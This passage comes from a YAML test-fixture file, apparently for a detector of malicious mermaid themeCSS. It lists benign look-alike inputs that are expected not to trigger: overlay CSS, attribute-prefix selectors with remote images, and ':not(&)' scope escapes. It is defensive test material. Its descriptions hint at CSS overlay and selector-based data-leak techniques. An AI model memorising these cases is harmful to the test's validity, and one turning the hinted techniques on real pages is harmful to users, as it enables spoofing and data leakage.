      description: "Adversarial-review benign twin (adv05): Traditional Chinese blog post about a fullscreen diagram"
    - input: "mermaid の themeCSS: \"[class^=\\\"cluster\\\"] rect { fill: url(https://assets.example.jp/bg.svg) }\" を使うとクラスタ背景を差し替えられます。"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv06): Japanese docs, prefix selector + CDN asset"
    - input: "## 2.4.1\n- fix(diagrams): themeCSS: '.mermaid-modal{position:fixed;inset:0}' is no longer dropped when print styles are active (#4821)"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv07): CHANGELOG entry"
    - input: "it('applies custom themeCSS', () => { render({ themeCSS: '.overlay{position:fixed;inset:0}' }); expect(document.querySelector('style').textContent).toContain('position:fixed'); });"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv08): vitest fixture in a renderer repo"
    - input: "markdown_extensions:\n  mermaid:\n    themeCSS: \".md-typeset .mermaid-zoom{position:fixed;top:0;left:0;width:100vw;height:100vh}\""
      expected: not_triggered
      description: "Adversarial-review benign twin (adv09): mkdocs-material yaml manifest"
    - input: "{\"name\":\"corp-dark\",\"themeCSS\":\"[data-testid^=\\\"node-\\\"] rect{stroke:#444} .edgePath path{stroke:url(https://static.example.com/grad.svg#g1)}\",\"version\":3}"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv10): generated theme JSON: test-id prefix selector + remote gradient"
    - input: "mermaid.initialize({ themeCSS: '@media print { .watermark { position: fixed; bottom: 0; opacity: .15 } }' });"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv12): print watermark inside themeCSS"
    - input: "In Emotion the compiler is stylis, the same one mermaid uses for themeCSS: ':not(&) is how you opt a rule out of the generated scope class', which is why nested selectors behave the way they do."
      expected: not_triggered
      description: "Adversarial-review benign twin (adv13): library prose that happens to put the marker right after the key"
    - input: "%%{init:{\"theme\":\"base\",\"themeCSS\":\".fullscreen-diagram{position:fixed;inset:0;background:#fff}\"}}%%\nflowchart TD\n  A-->B"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv14): a real %%{init}%% directive using the site's own fullscreen class"
    - input: "You can't set themeCSS: \"position:fixed\" on the container from inside the diagram; mermaid re-renders the SVG and the style is scoped away. Put it on the wrapper element instead."
      expected: not_triggered
      description: "Adversarial-review benign twin (adv15): Stack Overflow answer saying the thing does NOT work"
    - input: "var t={themeCSS:\".n{fill:#eee}\",modal:\".m{position:fixed;top:0}\"};"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv16): minified bundle line, two unrelated keys"
    - input: "%%{init: {\"fontFamily\":\"Inter\", \"themeCSS\":\".legend{position:fixed;right:8px;bottom:8px}\"}}%%\ngraph LR; A-->B;"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv17): legend pinned to the viewport, cross-key via condition 0"
    - input: "Theme editor export:\n{\"themeCSS\":\"[class^=icon-]{background-image:url(https://icons.example.com/sprite.svg)}\",\"theme\":\"base\"}"
      expected: not_triggered
      description: "Adversarial-review benign twin (adv18): icon sprite: the single most common prefix-selector idiom in CSS"
    - input: "{\"themeCSS\":\".node{fill:#fff}\",\"formCSS\":\"input[name^=card]{background:url(https://cdn.example.com/visa.svg)}\"}"
      expected: not_triggered
      description: "Adversarial-review round 2 benign twin (r2-02): cross-key: form-field icon CSS in a neighbouring key"
    - input: "mermaid.initialize({ themeCSS: 'input[name^=\"search\"]{background:url(https://cdn.example.com/magnifier.svg) no-repeat}' });"
      expected: not_triggered
      description: "Adversarial-review round 2 benign twin (r2-03): credit-card / search field icon keyed off field name, a real CSS idiom"
    - input: "%%{init:{\"fontFamily\":\"Inter\"}}%% — note that in themeCSS a selector like `:not(&)` followed by a block { } is stripped by our sanitiser."
      expected: not_triggered
      description: "Adversarial-review round 2 benign twin (r2-05): docs about the mitigation"
    - input: "const css = `[title^=\"${prefix}\"] { background-image: url(${cdn}//sprite.svg) }`; mermaid.initialize({ themeCSS: css });"
      expected: not_triggered
      description: "Adversarial-review round 2 benign twin (r2-06): templated CSS where the marker is built in a variable, not literally next to themeCSS"
    - input: "stylis test fixture: expect(serialize(compile('.a{:not(&){color:red}}'), stringify)).toBe('.a :not(.a){color:red;}')"
      expected: not_triggered
      description: "Adversarial-review round 2 benign twin (r2-07): stylis' own unit test for the negation branch"
    - input: "mermaid.initialize({ themeCSS: '.node:not(.done) rect{fill:#eee} .edgeLabel{background:url(https://cdn.example.com/paper.png)}' });"
      expected: not_triggered
      description: "Adversarial-review round 2 benign twin (r2-08): :not() on a class plus an unrelated remote texture"
    - input: "主題設定:themeCSS: '[placeholder^=\"請輸入\"]{background:url(https://cdn.example.tw/hint.svg)}' 用來給輸入框加提示圖示。"
      expected: not_triggered
      description: "Adversarial-review round 2 benign twin (r2-09): Traditional Chinese: placeholder-prefix selector + CDN hint icon"
    - input: "mermaid.initialize({ themeCSS: '@import url(https://fonts.gstatic.com/s/inter/v13/font.woff2); .node[title^=\"step\"] rect{stroke:#333}' });"
      expected: not_triggered
      description: "Adversarial-review round 2 benign twin (r2-10): webfont import then a title-prefix selector, no url in that block"